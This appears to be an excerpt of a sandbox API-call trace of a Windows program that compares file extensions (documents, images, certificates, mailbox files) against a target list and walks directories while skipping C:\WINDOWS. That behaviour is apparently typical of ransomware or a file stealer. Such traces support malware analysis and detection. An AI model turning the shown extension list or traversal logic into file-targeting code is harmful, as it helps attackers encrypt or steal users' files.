	[0178.749] lstrlenW (lpString=".chm") returned 4
	[0178.749] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".cin") returned 4
	[0178.749] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0178.749] lstrlenW (lpString=".class") returned 6
	[0178.750] lstrcmpiW (lpString1=".class", lpString2="00.xml") returned -1
	[0178.750] lstrlenW (lpString=".clx") returned 4
	[0178.750] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0178.750] lstrlenW (lpString=".config") returned 7
	[0178.750] lstrcmpiW (lpString1=".config", lpString2="000.xml") returned -1
	[0178.750] lstrlenW (lpString=".cpp") returned 4
	[0178.750] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0178.750] lstrlenW (lpString=".cr2") returned 4
	[0178.750] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0178.750] lstrlenW (lpString=".crt") returned 4
	[0178.750] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0178.750] lstrlenW (lpString=".crw") returned 4
	[0178.750] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0178.750] lstrlenW (lpString=".cs") returned 3
	[0178.750] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0178.750] lstrlenW (lpString=".css") returned 4
	[0178.751] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".csv") returned 4
	[0178.751] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".cub") returned 4
	[0178.751] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dae") returned 4
	[0178.751] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dat") returned 4
	[0178.751] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".db") returned 3
	[0178.751] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0178.751] lstrlenW (lpString=".dbf") returned 4
	[0178.751] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dbx") returned 4
	[0178.751] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dc3") returned 4
	[0178.751] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dcm") returned 4
	[0178.751] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dcr") returned 4
	[0178.751] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".der") returned 4
	[0178.751] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dib") returned 4
	[0178.751] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dic") returned 4
	[0178.751] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0178.751] lstrlenW (lpString=".dif") returned 4
	[0178.752] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0178.752] lstrlenW (lpString=".divx") returned 5
	[0178.752] lstrcmpiW (lpString1=".divx", lpString2="0.xml") returned -1
	[0178.752] lstrlenW (lpString=".djvu") returned 5
	[0178.752] lstrcmpiW (lpString1=".djvu", lpString2="0.xml") returned -1
	[0178.752] lstrlenW (lpString=".dng") returned 4
	[0178.752] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0178.752] lstrlenW (lpString=".doc") returned 4
	[0178.752] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0178.752] lstrlenW (lpString=".docm") returned 5
	[0178.752] lstrcmpiW (lpString1=".docm", lpString2="0.xml") returned -1
	[0178.752] lstrlenW (lpString=".docx") returned 5
	[0178.752] lstrcmpiW (lpString1=".docx", lpString2="0.xml") returned -1
	[0178.752] lstrlenW (lpString=".dot") returned 4
	[0178.752] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0178.752] lstrlenW (lpString=".dotm") returned 5
	[0178.752] lstrcmpiW (lpString1=".dotm", lpString2="0.xml") returned -1
	[0178.752] lstrlenW (lpString=".dotx") returned 5
	[0178.752] lstrcmpiW (lpString1=".dotx", lpString2="0.xml") returned -1
	[0178.752] lstrlenW (lpString=".dpx") returned 4
	[0178.752] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0178.752] lstrlenW (lpString=".dqy") returned 4
	[0178.752] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0178.752] lstrlenW (lpString=".dsn") returned 4
	[0178.752] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0178.752] lstrlenW (lpString=".dt") returned 3
	[0178.752] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0178.752] lstrlenW (lpString=".dtd") returned 4
	[0178.752] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".dwg") returned 4
	[0178.753] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".dwt") returned 4
	[0178.753] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".dx") returned 3
	[0178.753] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0178.753] lstrlenW (lpString=".dxf") returned 4
	[0178.753] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".edml") returned 5
	[0178.753] lstrcmpiW (lpString1=".edml", lpString2="0.xml") returned -1
	[0178.753] lstrlenW (lpString=".efd") returned 4
	[0178.753] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".elf") returned 4
	[0178.753] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".emf") returned 4
	[0178.753] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".emz") returned 4
	[0178.753] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".epf") returned 4
	[0178.753] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".eps") returned 4
	[0178.753] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0178.753] lstrlenW (lpString=".epsf") returned 5
	[0178.753] lstrcmpiW (lpString1=".epsf", lpString2="0.xml") returned -1
	[0178.754] lstrlenW (lpString=".epsp") returned 5
	[0178.754] lstrcmpiW (lpString1=".epsp", lpString2="0.xml") returned -1
	[0178.754] lstrlenW (lpString=".erf") returned 4
	[0178.754] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".exr") returned 4
	[0178.754] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".f4v") returned 4
	[0178.754] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".fido") returned 5
	[0178.754] lstrcmpiW (lpString1=".fido", lpString2="0.xml") returned -1
	[0178.754] lstrlenW (lpString=".flm") returned 4
	[0178.754] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".flv") returned 4
	[0178.754] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".frm") returned 4
	[0178.754] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".fxg") returned 4
	[0178.754] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".geo") returned 4
	[0178.754] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".gif") returned 4
	[0178.754] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".grs") returned 4
	[0178.754] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0178.754] lstrlenW (lpString=".gz") returned 3
	[0178.754] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0178.755] lstrlenW (lpString=".h") returned 2
	[0178.755] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0178.755] lstrlenW (lpString=".hdr") returned 4
	[0178.755] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".hpp") returned 4
	[0178.755] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".hta") returned 4
	[0178.755] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".htc") returned 4
	[0178.755] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".htm") returned 4
	[0178.755] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".html") returned 5
	[0178.755] lstrcmpiW (lpString1=".html", lpString2="0.xml") returned -1
	[0178.755] lstrlenW (lpString=".icb") returned 4
	[0178.755] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".ics") returned 4
	[0178.755] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".iff") returned 4
	[0178.755] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".inc") returned 4
	[0178.755] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0178.755] lstrlenW (lpString=".indd") returned 5
	[0178.755] lstrcmpiW (lpString1=".indd", lpString2="0.xml") returned -1
	[0178.756] lstrlenW (lpString=".ini") returned 4
	[0178.756] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1
	[0178.756] lstrlenW (lpString=".iqy") returned 4
	[0178.756] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1
	[0178.756] lstrlenW (lpString=".j2c") returned 4
	[0178.756] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1
	[0178.756] lstrlenW (lpString=".j2k") returned 4
	[0178.756] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1
	[0178.756] lstrlenW (lpString=".java") returned 5
	[0178.756] lstrcmpiW (lpString1=".java", lpString2="0.xml") returned -1
	[0178.756] lstrlenW (lpString=".jp2") returned 4
	[0178.756] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1
	[0178.756] lstrlenW (lpString=".jpc") returned 4
	[0178.756] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1
	[0178.756] lstrlenW (lpString=".jpe") returned 4
	[0178.756] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1
	[0178.756] lstrlenW (lpString=".jpeg") returned 5
	[0178.756] lstrcmpiW (lpString1=".jpeg", lpString2="0.xml") returned -1
	[0178.756] lstrlenW (lpString=".jpf") returned 4
	[0179.044] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1
	[0179.044] lstrlenW (lpString=".jpg") returned 4
	[0179.044] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0179.047] lstrlenW (lpString=".jpx") returned 4
	[0179.058] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1
	[0179.059] lstrlenW (lpString=".js") returned 3
	[0179.059] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0179.059] lstrlenW (lpString=".jsf") returned 4
	[0179.059] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1
	[0179.059] lstrlenW (lpString=".json") returned 5
	[0179.111] lstrcmpiW (lpString1=".json", lpString2="0.xml") returned -1
	[0179.111] lstrlenW (lpString=".jsp") returned 4
	[0179.112] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".kdc") returned 4
	[0179.112] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".kmz") returned 4
	[0179.112] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".kwm") returned 4
	[0179.112] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".lasso") returned 6
	[0179.112] lstrcmpiW (lpString1=".lasso", lpString2="00.xml") returned -1
	[0179.112] lstrlenW (lpString=".lbi") returned 4
	[0179.112] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".lgf") returned 4
	[0179.112] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".lgp") returned 4
	[0179.112] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".log") returned 4
	[0179.112] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".m1v") returned 4
	[0179.112] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1
	[0179.112] lstrlenW (lpString=".m4a") returned 4
	[0179.113] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".m4v") returned 4
	[0179.113] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".max") returned 4
	[0179.113] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".md") returned 3
	[0179.113] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1
	[0179.113] lstrlenW (lpString=".mda") returned 4
	[0179.113] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".mdb") returned 4
	[0179.113] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".mde") returned 4
	[0179.113] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".mdf") returned 4
	[0179.113] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".mdw") returned 4
	[0179.113] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".mef") returned 4
	[0179.113] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".mft") returned 4
	[0179.113] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1
	[0179.113] lstrlenW (lpString=".mfw") returned 4
	[0179.114] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mht") returned 4
	[0179.114] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mhtml") returned 6
	[0179.114] lstrcmpiW (lpString1=".mhtml", lpString2="00.xml") returned -1
	[0179.114] lstrlenW (lpString=".mka") returned 4
	[0179.114] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mkidx") returned 6
	[0179.114] lstrcmpiW (lpString1=".mkidx", lpString2="00.xml") returned -1
	[0179.114] lstrlenW (lpString=".mkv") returned 4
	[0179.114] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mos") returned 4
	[0179.114] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mov") returned 4
	[0179.114] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mp3") returned 4
	[0179.114] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mp4") returned 4
	[0179.114] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1
	[0179.114] lstrlenW (lpString=".mpeg") returned 5
	[0179.114] lstrcmpiW (lpString1=".mpeg", lpString2="0.xml") returned -1
	[0179.114] lstrlenW (lpString=".mpg") returned 4
	[0179.115] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".mpv") returned 4
	[0179.115] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".mrw") returned 4
	[0179.115] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".msg") returned 4
	[0179.115] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".mxl") returned 4
	[0179.115] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".myd") returned 4
	[0179.115] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".myi") returned 4
	[0179.115] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".nef") returned 4
	[0179.115] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".nrw") returned 4
	[0179.115] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".obj") returned 4
	[0179.115] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".odb") returned 4
	[0179.115] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1
	[0179.115] lstrlenW (lpString=".odc") returned 4
	[0179.116] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1
	[0179.116] lstrlenW (lpString=".odm") returned 4
	[0179.116] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1
	[0179.116] lstrlenW (lpString=".odp") returned 4
	[0179.116] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1
	[0179.116] lstrlenW (lpString=".ods") returned 4
	[0179.116] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1
	[0179.116] lstrlenW (lpString=".oft") returned 4
	[0179.116] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1
	[0179.116] lstrlenW (lpString=".one") returned 4
	[0179.116] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1
	[0179.116] lstrlenW (lpString=".onepkg") returned 7
	[0179.116] lstrcmpiW (lpString1=".onepkg", lpString2="000.xml") returned -1
	[0179.116] lstrlenW (lpString=".onetoc2") returned 8
	[0179.116] lstrcmpiW (lpString1=".onetoc2", lpString2="0000.xml") returned -1
	[0179.116] lstrlenW (lpString=".opt") returned 4
	[0179.116] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1
	[0179.116] lstrlenW (lpString=".oqy") returned 4
	[0179.116] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".orf") returned 4
	[0179.117] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".p12") returned 4
	[0179.117] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".p7b") returned 4
	[0179.117] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".p7c") returned 4
	[0179.117] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".pam") returned 4
	[0179.117] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".pbm") returned 4
	[0179.117] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".pct") returned 4
	[0179.117] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".pcx") returned 4
	[0179.117] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".pdd") returned 4
	[0179.117] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".pdf") returned 4
	[0179.117] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0179.117] lstrlenW (lpString=".pdp") returned 4
	[0179.117] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".pef") returned 4
	[0179.118] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".pem") returned 4
	[0179.118] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".pff") returned 4
	[0179.118] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".pfm") returned 4
	[0179.118] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".pfx") returned 4
	[0179.118] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".pgm") returned 4
	[0179.118] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".php") returned 4
	[0179.118] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1
	[0179.118] lstrlenW (lpString=".php3") returned 5
	[0179.118] lstrcmpiW (lpString1=".php3", lpString2="0.xml") returned -1
	[0179.118] lstrlenW (lpString=".php4") returned 5
	[0179.118] lstrcmpiW (lpString1=".php4", lpString2="0.xml") returned -1
	[0179.118] lstrlenW (lpString=".php5") returned 5
	[0179.118] lstrcmpiW (lpString1=".php5", lpString2="0.xml") returned -1
	[0179.118] lstrlenW (lpString=".phtml") returned 6
	[0179.119] lstrcmpiW (lpString1=".phtml", lpString2="00.xml") returned -1
	[0179.119] lstrlenW (lpString=".pict") returned 5
	[0179.119] lstrcmpiW (lpString1=".pict", lpString2="0.xml") returned -1
	[0179.119] lstrlenW (lpString=".pl") returned 3
	[0179.119] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1
	[0179.119] lstrlenW (lpString=".pls") returned 4
	[0179.119] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1
	[0179.119] lstrlenW (lpString=".pm") returned 3
	[0179.119] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1
	[0179.119] lstrlenW (lpString=".png") returned 4
	[0179.119] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1
	[0179.119] lstrlenW (lpString=".pnm") returned 4
	[0179.119] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1
	[0179.119] lstrlenW (lpString=".pot") returned 4
	[0179.120] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1
	[0179.120] lstrlenW (lpString=".potm") returned 5
	[0179.120] lstrcmpiW (lpString1=".potm", lpString2="0.xml") returned -1
	[0179.120] lstrlenW (lpString=".potx") returned 5
	[0179.120] lstrcmpiW (lpString1=".potx", lpString2="0.xml") returned -1
	[0179.120] lstrlenW (lpString=".ppa") returned 4
	[0179.120] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1
	[0179.120] lstrlenW (lpString=".ppam") returned 5
	[0179.120] lstrcmpiW (lpString1=".ppam", lpString2="0.xml") returned -1
	[0179.120] lstrlenW (lpString=".ppm") returned 4
	[0179.120] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1
	[0179.120] lstrlenW (lpString=".pps") returned 4
	[0179.120] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1
	[0179.120] lstrlenW (lpString=".ppsm") returned 5
	[0179.120] lstrcmpiW (lpString1=".ppsm", lpString2="0.xml") returned -1
	[0179.120] lstrlenW (lpString=".ppt") returned 4
	[0179.120] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0179.120] lstrlenW (lpString=".pptm") returned 5
	[0179.120] lstrcmpiW (lpString1=".pptm", lpString2="0.xml") returned -1
	[0179.120] lstrlenW (lpString=".pptx") returned 5
	[0179.120] lstrcmpiW (lpString1=".pptx", lpString2="0.xml") returned -1
	[0179.120] lstrlenW (lpString=".prn") returned 4
	[0179.121] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1
	[0179.121] lstrlenW (lpString=".ps") returned 3
	[0179.121] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1
	[0179.121] lstrlenW (lpString=".psb") returned 4
	[0179.121] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1
	[0179.121] lstrlenW (lpString=".psd") returned 4
	[0179.121] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1
	[0179.121] lstrlenW (lpString=".pst") returned 4
	[0179.121] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1
	[0179.121] lstrlenW (lpString=".ptx") returned 4
	[0179.121] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1
	[0179.121] lstrlenW (lpString=".pub") returned 4
	[0179.121] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1
	[0179.121] lstrlenW (lpString=".pwm") returned 4
	[0179.122] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1
	[0179.122] lstrlenW (lpString=".pxr") returned 4
	[0179.122] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1
	[0179.122] lstrlenW (lpString=".py") returned 3
	[0179.122] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1
	[0179.122] lstrlenW (lpString=".qt") returned 3
	[0179.122] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1
	[0179.122] lstrlenW (lpString=".r3d") returned 4
	[0179.122] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1
	[0179.122] lstrlenW (lpString=".raf") returned 4
	[0179.122] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1
	[0179.122] lstrlenW (lpString=".rar") returned 4
	[0179.122] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0179.122] lstrlenW (lpString=".raw") returned 4
	[0179.123] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1
	[0179.123] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 0
	[0179.123] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0179.124] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0179.124] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0179.124] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0179.124] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0179.124] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0179.124] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.124] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.127] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0179.127] lstrlenW (lpString="C:\\Program Files\\UNP\\Logs") returned 25
	[0179.127] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\Logs") returned 1
